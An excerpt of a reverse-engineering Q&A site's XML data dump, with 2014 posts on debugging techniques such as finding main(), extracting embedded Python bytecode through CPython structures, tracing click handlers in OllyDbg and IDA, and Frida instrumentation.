  <row Id="4707" PostTypeId="2" ParentId="4349" CreationDate="2014-06-26T11:59:42.730" Score="3" Body="&lt;p&gt;The catch is to determine whether the image in question uses a &quot;standard&quot; C runtime library of sorts (glibc, musl, uclibc) or not. If it does, then you can grab the entry point address and match the code at that address against your collection of startup routines from those libraries and pinpoint the main() location as you'd know which &lt;code&gt;call&lt;/code&gt; is the one transferring control to &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the image might not be linked against any well-known C runtime, say, if it's a code piece that directly invokes kernel syscalls or if it managed to whip its own CRT library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good point would be if the program wasn't written in C at all and uses some other fancy language, but that seems to be outside the scope of the question as &lt;code&gt;main()&lt;/code&gt; won't be relevant for those, I guess.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2014-06-26T11:59:42.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4708" PostTypeId="1" CreationDate="2014-06-26T12:23:10.557" Score="-6" ViewCount="614" Body="&lt;p&gt;i am looking for some help , i have a app i like in the android market place , they also have the same app in the apple marketplace to , its a free download , but i would like to know who programmed it for the company that is using it .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone help me on this one please , or can anyone provide the service for me ?!&lt;/p&gt;&#xA;" OwnerUserId="6931" LastActivityDate="2014-06-26T14:45:42.610" Title="Can anyone dissamble a android or a iphone app , so i can see who programmed it please" Tags="|android|" AnswerCount="2" CommentCount="0" ClosedDate="2014-06-26T19:19:16.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="4709" PostTypeId="2" ParentId="4708" CreationDate="2014-06-26T12:48:35.913" Score="1" Body="&lt;p&gt;Even if someone can disassemble the code and get to something that is meaningful, I don't think that it is possible to see WHO programmed it, except if somehow he managed to put his name on the code or something like that. What could you do with that information anyway apart from blackmailing for some reason?&lt;/p&gt;&#xA;" OwnerUserId="4439" LastActivityDate="2014-06-26T12:48:35.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4710" PostTypeId="1" CreationDate="2014-06-26T13:01:59.330" Score="0" ViewCount="356" Body="&lt;p&gt;I'd like to extract the &lt;code&gt;M__hello_&lt;/code&gt; variable of this &lt;a href=&quot;http://svn.python.org/view/python/trunk/Python/frozen.c?revision=81029&amp;amp;view=markup&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt; from the executable (for learning purpose). I'd like to have this array back in a variable in any programming language Do you know how can I do this ?&lt;/p&gt;&#xA;" OwnerUserId="6932" LastEditorUserId="53" LastEditDate="2014-06-26T13:19:06.430" LastActivityDate="2014-06-26T13:19:30.750" Title="Extracting a variable from an executable" Tags="|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4711" PostTypeId="2" ParentId="4710" CreationDate="2014-06-26T13:18:32.187" Score="3" Body="&lt;p&gt;Find the offset of the variable in memory. Using either your debugger or a look like Cheat Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you can use &lt;code&gt;ReadProcessMemory()&lt;/code&gt; from &lt;code&gt;kernel32.dll&lt;/code&gt; in Windows to read the variable in your own program.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="53" LastEditDate="2014-06-26T13:19:30.750" LastActivityDate="2014-06-26T13:19:30.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4712" PostTypeId="2" ParentId="4708" CreationDate="2014-06-26T14:45:42.610" Score="1" Body="&lt;p&gt;It's unlikely the developer included their name in the binary, but if they did, you can find it with a tool like &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb897439.aspx&quot; rel=&quot;nofollow&quot;&gt;Strings&lt;/a&gt; in Windows or the command &lt;a href=&quot;http://linux.die.net/man/1/strings&quot; rel=&quot;nofollow&quot;&gt;strings&lt;/a&gt; in Linux. No disassembling required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can contact the company that released the app and ask them who developed it. It's worth a try.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-26T14:45:42.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4713" PostTypeId="2" ParentId="4519" CreationDate="2014-06-26T22:45:40.043" Score="1" Body="&lt;p&gt;I can't tell you straight up how it works but maybe this will help find the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly you want to be debugging on the CLR level - this is all about the CLR instructions that correspond to your code and how they install new exception handlers. Once you can do it in the debugger you can automate using the CLR debugging API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-gb/library/vstudio/bb397953%28v=vs.100%29.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-gb/library/vstudio/bb397953(v=vs.100).aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The CLR debugging services provide several ways to control the execution of a program. These include breakpoints, single stepping, exception notification, function evaluation, and other events that relate to the startup and shutdown of a program.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if you can understand the mechanisms of installing a new handler and looking up the handler when an exception is raised, then you can expand from there. Maybe this api will help maybe not.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-06-26T22:45:40.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4714" PostTypeId="2" ParentId="4355" CreationDate="2014-06-26T22:49:50.310" Score="0" Body="&lt;p&gt;Run as admin? Try running procmon or api monitor to see what calls are failing if that's not the reason.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-06-26T22:49:50.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4715" PostTypeId="2" ParentId="4352" CreationDate="2014-06-26T22:52:09.767" Score="1" Body="&lt;p&gt;Your choice of client build for remote debugging shouldn't matter. Just run the remote server and configure your client to connect to it.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-06-26T22:52:09.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4716" PostTypeId="1" AcceptedAnswerId="4717" CreationDate="2014-06-27T04:00:34.400" Score="0" ViewCount="700" Body="&lt;p&gt;I'm trying to extact a global variable from an executable. Basically, I'm tryin to reverse an executable that put some python bytecode in a global variable and I'd like to extract it. I found out that the data is in the .data of the PE File, but I can't find a way to get it in all the data segments.&#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6932" LastActivityDate="2014-06-27T07:26:26.307" Title="Extract a global variable" Tags="|python|executable|" AnswerCount="1" CommentCount="1" ClosedDate="2014-06-30T18:13:02.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="4717" PostTypeId="2" ParentId="4716" CreationDate="2014-06-27T05:41:56.287" Score="3" Body="&lt;p&gt;Since you say you are trying to reverse an executable which stores some python bytecode in a variable, it means probably the executable &lt;a href=&quot;https://docs.python.org/2/extending/embedding.html&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;embeds python&lt;/em&gt;&lt;/a&gt;. If the code is likely to be executed at some point of time, you can use a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a breakpoint on &lt;strong&gt;&lt;a href=&quot;https://docs.python.org/2/c-api/veryhigh.html?highlight=pyeval_evalframeex#PyEval_EvalFrameEx&quot; rel=&quot;nofollow&quot;&gt;PyEval_EvalFrameEx&lt;/a&gt;&lt;/strong&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a prototype of &lt;code&gt;PyObject* PyEval_EvalFrameEx(PyFrameObject *f, int throwflag)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first parameter &lt;code&gt;PyFrameObject&lt;/code&gt; has the following structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _frame {&#xA;    PyObject_VAR_HEAD&#xA;    struct _frame *f_back;  /* previous frame, or NULL */&#xA;    PyCodeObject *f_code;   /* code segment */&#xA;    PyObject *f_builtins;   /* builtin symbol table (PyDictObject) */&#xA;    PyObject *f_globals;    /* global symbol table (PyDictObject) */&#xA;    PyObject *f_locals;     /* local symbol table (any mapping) */&#xA;    PyObject **f_valuestack;    /* points after the last local */&#xA;    PyObject **f_stacktop;&#xA;    PyObject *f_trace;      /* Trace function */&#xA;    PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;&#xA;    PyThreadState *f_tstate;&#xA;    int f_lasti;        /* Last instruction if called */&#xA;    int f_lineno;       /* Current line number */&#xA;    int f_iblock;       /* index in f_blockstack */&#xA;    PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */&#xA;    PyObject *f_localsplus[1];  /* locals+stack, dynamically sized */&#xA;} PyFrameObject;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;third&lt;/em&gt; member of &lt;code&gt;PyFrameObject&lt;/code&gt; is &lt;code&gt;PyCodeObject&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PyCodeObject&lt;/code&gt; has the following structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;    PyObject_HEAD&#xA;    int co_argcount;        /* #arguments, except *args */&#xA;    int co_nlocals;     /* #local variables */&#xA;    int co_stacksize;       /* #entries needed for evaluation stack */&#xA;    int co_flags;       /* CO_..., see below */&#xA;    PyObject *co_code;      /* instruction opcodes */&#xA;    PyObject *co_consts;    /* list (constants used) */&#xA;    PyObject *co_names;     /* list of strings (names used) */&#xA;    PyObject *co_varnames;  /* tuple of strings (local variable names) */&#xA;    PyObject *co_freevars;  /* tuple of strings (free variable names) */&#xA;    PyObject *co_cellvars;      /* tuple of strings (cell variable names) */&#xA;    /* The rest doesn't count for hash/cmp */&#xA;    PyObject *co_filename;  /* string (where it was loaded from) */&#xA;    PyObject *co_name;      /* string (name, for reference) */&#xA;    int co_firstlineno;     /* first source line number */&#xA;    PyObject *co_lnotab;    /* string (encoding addr&amp;lt;-&amp;gt;lineno mapping) */&#xA;    void *co_zombieframe;     /* for optimization only (see frameobject.c) */&#xA;} PyCodeObject;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;sixth&lt;/em&gt; member of the above structure is &lt;code&gt;co_code&lt;/code&gt; . It is basically a &lt;code&gt;PyStringObject&lt;/code&gt;. &#xA;It has the following structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;    PyObject_VAR_HEAD&#xA;    long ob_shash;&#xA;    int ob_sstate;&#xA;    char ob_sval[1];&#xA;} PyStringObject;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ob_sval&lt;/code&gt; contains the bytecode you are after.&#xA;So once you hit &lt;code&gt;PyEval_EvalFrameEx&lt;/code&gt; follow the structures in memory to get the bytecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to note is you need to know the layout of &lt;code&gt;PyObject_VAR_HEAD&lt;/code&gt; and &lt;code&gt;PyObject_HEAD&lt;/code&gt; to get the actual offsets. Refer to the &lt;a href=&quot;http://hg.python.org/cpython/file/3124790c07b4&quot; rel=&quot;nofollow&quot;&gt;python source&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-06-27T07:26:26.307" LastActivityDate="2014-06-27T07:26:26.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4719" PostTypeId="2" ParentId="4355" CreationDate="2014-06-27T06:53:53.603" Score="1" Body="&lt;p&gt;StrongOD is not recommendable on Windows 7 environment, If you are on Windows 7 is better to go with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ScyllaHide v0.7 &lt;a href=&quot;https://tuts4you.com/download.php?view.3560&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?view.3560&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;TitanHide (TitanEngine): &lt;a href=&quot;https://forum.tuts4you.com/topic/34431-titanhide/&quot; rel=&quot;nofollow&quot;&gt;https://forum.tuts4you.com/topic/34431-titanhide/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this works for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers~!&lt;/p&gt;&#xA;" OwnerUserId="6939" LastActivityDate="2014-06-27T06:53:53.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4720" PostTypeId="1" AcceptedAnswerId="4721" CreationDate="2014-06-27T07:36:50.223" Score="1" ViewCount="1155" Body="&lt;p&gt;The calling convention used in assembly differs depending to the compiler, so I need to know &#xA;How ollydbg2.01 would help me to recognize the parameters passed from caller to the callee and the values returned back from the callee to the caller for a CALL instruction.&#xA;The assembly which I am working on is compiled by Microsoft visual C++.&lt;/p&gt;&#xA;" OwnerUserId="6940" LastActivityDate="2014-06-27T08:18:53.467" Title="Would OllyDbg help recognizing the passed parameters between the caller and the calle?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4721" PostTypeId="2" ParentId="4720" CreationDate="2014-06-27T08:13:00.490" Score="2" Body="&lt;p&gt;Ollydbg already shows the parameters passed to a functions in the CPU window. This of course works for standard functions such as &lt;code&gt;printf&lt;/code&gt; , &lt;code&gt;CreateFileA&lt;/code&gt; which Ollydbg knows about. For example see the image below. The parameters to &lt;code&gt;CreateWindowExA&lt;/code&gt; are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XeAoA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the return value of a function is &lt;em&gt;usually&lt;/em&gt; kept in register &lt;code&gt;eax&lt;/code&gt; in &lt;code&gt;x86&lt;/code&gt;. So just note the value after the function returns. Of course in case of a hand-coded assembly the return value may be anywhere.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-06-27T08:18:53.467" LastActivityDate="2014-06-27T08:18:53.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4723" PostTypeId="2" ParentId="3561" CreationDate="2014-06-27T12:57:46.940" Score="4" Body="&lt;p&gt;Apologies for bringing this up after half a year; hope the question is still relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is occurring in multiple places, I would suggest to write a simple IDC script to solve the issue. The script would:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Match the push/pop/push/push/retf instruction sequence;&lt;/li&gt;&#xA;&lt;li&gt;Set up a code cross-reference from the retf instruction to the calculated address;&lt;/li&gt;&#xA;&lt;li&gt;Place a comment;&lt;/li&gt;&#xA;&lt;li&gt;Mark the destination for analysis by IDA (optional, I think IDA should automatically start exploring after xref creation).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should solve the issue at hand. Unfortunately, IDA is not as smart as we would like it to be.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2014-06-27T12:57:46.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4724" PostTypeId="1" AcceptedAnswerId="4725" CreationDate="2014-06-27T13:42:34.377" Score="2" ViewCount="1641" Body="&lt;p&gt;I just started using IDA and OllyDbg, although I am experienced developer but before this I was reverse engineering only Java and .Net code which is much more easy task comparing of what I need to do now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an application which has some buttons that are not accessible by Spy++ and WinInspector and all other tools that I tried. Spy++ sees only the &lt;code&gt;selectorclass&lt;/code&gt; which is the whole panel where buttons are placed. I've managed to find where the &lt;code&gt;WndProc&lt;/code&gt; of this selector is and even the method wich takes hwnd of &lt;code&gt;SelectorControl&lt;/code&gt; from &lt;code&gt;GetPropA&lt;/code&gt; method, but I have trouble identifying the click itself, so i don't know where the actual button is clicked and where there the app knows what exact button is clicked and what handler to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask for some tips which are maybe useful to know but are not known by newbies like me. What are strategies that can be used here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there are some ways to identify what framework was used, so I can play with that framework to know what to look for.&lt;/p&gt;&#xA;" OwnerUserId="6943" LastEditorUserId="53" LastEditDate="2014-06-27T14:02:01.743" LastActivityDate="2014-06-27T19:57:30.800" Title="Custom UI buttons" Tags="|ida|ollydbg|c++|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4725" PostTypeId="2" ParentId="4724" CreationDate="2014-06-27T19:42:09.970" Score="4" Body="&lt;p&gt;If the surrounding window seems to be a genuine window, but the individual buttons are not, I'd assume that&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The surrounding window displays a bitmap, or does whatever else is needed to display the individual buttons&lt;/li&gt;&#xA;&lt;li&gt;The surrounding window reacts on mouse clicks&lt;/li&gt;&#xA;&lt;li&gt;And, the surrounding window determines itself which &quot;button&quot; is used by looking at the mouse coordinates at the time of the mouse click.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, what we want to do is, start the program in a debugger, and use a breakpoint that is triggered when the mouse click occurs. The problem is, the window procedure gets called a lot of times, with all kind of messages, while you want to break on some of them (for example, &lt;code&gt;WM_LBUTTONDOWN&lt;/code&gt;), but not on most of the others (for example, &lt;code&gt;WM_PAINT&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ollydbg can do this directly - place a conditional breakpoint that triggers depending on the window message.&lt;/li&gt;&#xA;&lt;li&gt;If, for whatever reason, you can't use that feature, you need to disassemble (and partially understand) the window procedure. It will receive 4 parameters on the stack, the 2nd of which is the window message (see &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms633570%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;Using Window Procedures&lt;/a&gt;). The window procedure will, at some point, compare this parameter to the values of well-known window message IDs. You might be interested in &lt;code&gt;WM_LBUTTONDOWN&lt;/code&gt; (&lt;code&gt;0x0201&lt;/code&gt;) or one of the other &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms645533%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;Mouse Input Events&lt;/a&gt;). Check where the code branches to when it receives one of those &quot;interesting&quot; messages, and place a breakpoint on that branch.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After placing a suitable breakpoint, run your application in the debugger, click the mouse, and hope the debugger actually hits the breakpoint. If it doesn't, check which mistake you've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single-Step your code. It will probably fetch parameter 4 from the stack, which encodes the X and Y coordinates of the mouse, and compare these parameters to something - chances are, there's an array of structures that defines rectangles and jump addresses, and a loop that checks against each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've found that, you're finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds too easy? It probably is, because, depending on your framework, the actual comparisons might be buried deeply in stuff that was a bunch of C++ classes in the original source, and there might be various calls, some of them indirect (in the case of C++ class methods) until you get to the &quot;interesting&quot; position.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Sometimes it's easier to use Ollydbg to resolve this. Single-Step the source after your breakpoint, using &quot;step over&quot; to step over function calls. Whenever you see something interested happened within the function call, note the address. Restart your program, run to your breakpoint, run to the address you noted, and &quot;step into&quot; the function this time. This will allow you to put the finger on the interesting code relatively quickly, while stepping over all the &lt;code&gt;strcmp()&lt;/code&gt; and &lt;code&gt;malloc()&lt;/code&gt; and &lt;code&gt;WriteALotOfStuffToSomeFileIfDebuggingIsOn()&lt;/code&gt; functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sometimes it's easier to use IDA. Generate a call tree from your window procedure, focus on the first 3-5 levels. Search your code for occurrences of magic numbers, like the &lt;code&gt;0x0201&lt;/code&gt; above. Check if one of these is a &lt;code&gt;CMP XX, 0x0201&lt;/code&gt; in one of the functions in your call tree. This might be just the position you're looking for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a screen shot, and paste it into some image viewer program (I like &lt;code&gt;Irfanview&lt;/code&gt; for that). Get the pixel coordinates of the button within the frame window. Search, in the data section, for those values, surrounded by what looks like a table of similar data. This might be your coordinate/jump table. If you find something, place a hardware breakpoint on it to find out when that memory gets accessed, or use the IDA cross reference list to get respective addresses in your code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="53" LastEditDate="2014-06-27T19:57:30.800" LastActivityDate="2014-06-27T19:57:30.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4726" PostTypeId="2" ParentId="1594" CreationDate="2014-06-27T22:51:00.370" Score="10" Body="&lt;p&gt;I would recommend checking out &lt;a href=&quot;http://www.frida.re/&quot; rel=&quot;noreferrer&quot;&gt;Frida&lt;/a&gt;. It's an open source instrumentation toolkit for iOS, Android, Windows, Mac and Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://medium.com/@oleavr/build-a-debugger-in-5-minutes-1-5-51dce98c3544&quot; rel=&quot;noreferrer&quot;&gt;this tutorial&lt;/a&gt; to dive in by building your own debugger in 5 minutes using Frida and Qml. The last part shows how to inject code into the “Yo” app and plot its network connections on Google Maps.&lt;/p&gt;&#xA;" OwnerUserId="6946" LastActivityDate="2014-06-27T22:51:00.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4727" PostTypeId="2" ParentId="4624" CreationDate="2014-06-27T23:06:06.877" Score="14" Body="&lt;p&gt;You can also try a dynamic approach by hooking APIs and observing arguments and return values. This will allow you to look at data going into crypto APIs, which may help a lot when dealing with network protocols. Check out the &lt;a href=&quot;http://www.frida.re/&quot;&gt;Frida instrumentation toolkit&lt;/a&gt; for an open source cross-platform solution (Android, iOS, Windows, Mac and Linux). There's a &lt;a href=&quot;https://medium.com/@oleavr/build-a-debugger-in-5-minutes-1-5-51dce98c3544&quot;&gt;tutorial&lt;/a&gt; showing how to build an interactive instrumentation tool in a few minutes, which injects code into the “Yo” app on iOS and plots network connections using Google Maps.&lt;/p&gt;&#xA;" OwnerUserId="6946" LastActivityDate="2014-06-27T23:06:06.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4729" PostTypeId="1" CreationDate="2014-06-28T19:02:39.597" Score="4" ViewCount="717" Body="&lt;p&gt;Is it possible to change the configuration of IDA Free so that Python may be&#xA;linked into it to allow Python plugins to be used also?&#xA;And, does anyone know if the EiNSTeiN ida-decompiler works under IDA Free?&#xA;I read that ida-decompiler is for versions of IDA &quot;without hex-rays&quot; decompiler.&#xA;I found reference on the web that IDA Free is &quot;version 5.0&quot; however when&#xA;started, the IDA Free startup logo says IDA v6.1 at the bottom.&lt;/p&gt;&#xA;" OwnerUserId="4069" LastActivityDate="2014-06-29T01:51:03.650" Title="Can EiNSTeiN &quot;ida-decompiler&quot; be linked into The IDA Free version?" Tags="|decompiler|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4730" PostTypeId="1" CreationDate="2014-06-28T19:50:26.743" Score="0" ViewCount="1798" Body="&lt;p&gt;How does a memory integrity check work? For example, the &lt;code&gt;.code&lt;/code&gt; memory region is scanned by this check and then changes can be detected and the program will return with an event that will exit the application. If anyone has a source of how something like this would work it'd be much appreciated to study off of.&lt;/p&gt;&#xA;" OwnerUserId="6948" LastEditorUserId="53" LastEditDate="2014-06-28T20:23:07.460" LastActivityDate="2014-06-28T20:33:26.843" Title="How do memory integrity checks work?" Tags="|disassembly|debugging|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4731" PostTypeId="1" CreationDate="2014-06-28T20:24:02.207" Score="0" ViewCount="306" Body="&lt;p&gt;Is there any libraries for Reverse engineering/exploitation for the C++11/C++/C programming language ? I am currently learning C based languages and would like to know if there are any libraries for this kind of trade.&lt;/p&gt;&#xA;" OwnerUserId="4260" LastEditorUserId="53" LastEditDate="2014-06-29T10:43:23.313" LastActivityDate="2014-06-29T10:43:23.313" Title="C++/C++11/C++0x in application to Reverse-engineering" Tags="|c++|" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-04T16:57:49.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="4732" PostTypeId="2" ParentId="4731" CreationDate="2014-06-28T20:30:02.167" Score="4" Body="&lt;p&gt;Since C and C++ is compiled to machine code during compilation you'll want to learn assembly opcodes and how to use tools such as debuggers, pe editors and so on. It really depends what you want to be able to reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get yourself a book which covers these sort of topics:&#xA;&lt;a href=&quot;http://www.amazon.co.uk/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1403987309&amp;amp;sr=1-1&amp;amp;keywords=secrets+of+reverse+engineering&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.co.uk/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1403987309&amp;amp;sr=1-1&amp;amp;keywords=secrets+of+reverse+engineering&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-06-28T20:30:02.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4733" PostTypeId="2" ParentId="4730" CreationDate="2014-06-28T20:33:26.843" Score="2" Body="&lt;p&gt;There is no point writing you example code you may as well read this:&#xA;&lt;a href=&quot;http://www.codeproject.com/Articles/17636/Dynamic-TEXT-Section-Image-Verification&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/17636/Dynamic-TEXT-Section-Image-Verification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you're wanting to write an anti-cheat?&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-06-28T20:33:26.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4734" PostTypeId="1" AcceptedAnswerId="4741" CreationDate="2014-06-28T22:52:22.873" Score="0" ViewCount="182" Body="&lt;p&gt;I am trying to understand assembly and buffer overflows on a 64bit Intel i7 machine. I am having a lot of questions. &lt;a href=&quot;https://stackoverflow.com/questions/24462106/what-do-the-cfi-directives-mean-and-some-more-questions&quot;&gt;I asked on SO&lt;/a&gt; but I don't have any satisfactory answers. I also don't get why there are &lt;code&gt;MOV&lt;/code&gt; instructions to EEDI, ESI and EDI instead of &lt;code&gt;PUSH&lt;/code&gt; instructions. Perhaps I should understand assembly on modern architectures first. Can anyone answer my qustions and point me to right learning resources for modern architectures? (I am asking here because people doing REing do have knowledge about assembly and are more targeted audience as compared to the broader audience on SO)&lt;/p&gt;&#xA;" OwnerUserId="5865" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-06-30T21:04:51.463" Title="Any guides on modern assembly?" Tags="|assembly|" AnswerCount="2" CommentCount="10" ClosedDate="2014-07-02T13:55:14.367" ContentLicense="CC BY-SA 3.0" />
  <row Id="4735" PostTypeId="2" ParentId="4729" CreationDate="2014-06-29T01:51:03.650" Score="2" Body="&lt;p&gt;I have spoken to people that have rewritten the DLL export table of plugins to make them work with the IDA Free 5.0. As it runs plugins but the dll import is via ordinal not name and the name ordinal table has been mixed up. You can see this by looking at them in DependencyWalker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO this goes against the spirt of the free version. &lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-06-29T01:51:03.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4737" PostTypeId="2" ParentId="4734" CreationDate="2014-06-30T08:06:04.517" Score="3" Body="&lt;p&gt;I think PC Assembly Language from Paul Carter is a good starting point:&#xA;&lt;a href=&quot;http://www.drpaulcarter.com/pcasm/&quot; rel=&quot;nofollow&quot;&gt;http://www.drpaulcarter.com/pcasm/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="4690" LastActivityDate="2014-06-30T08:06:04.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
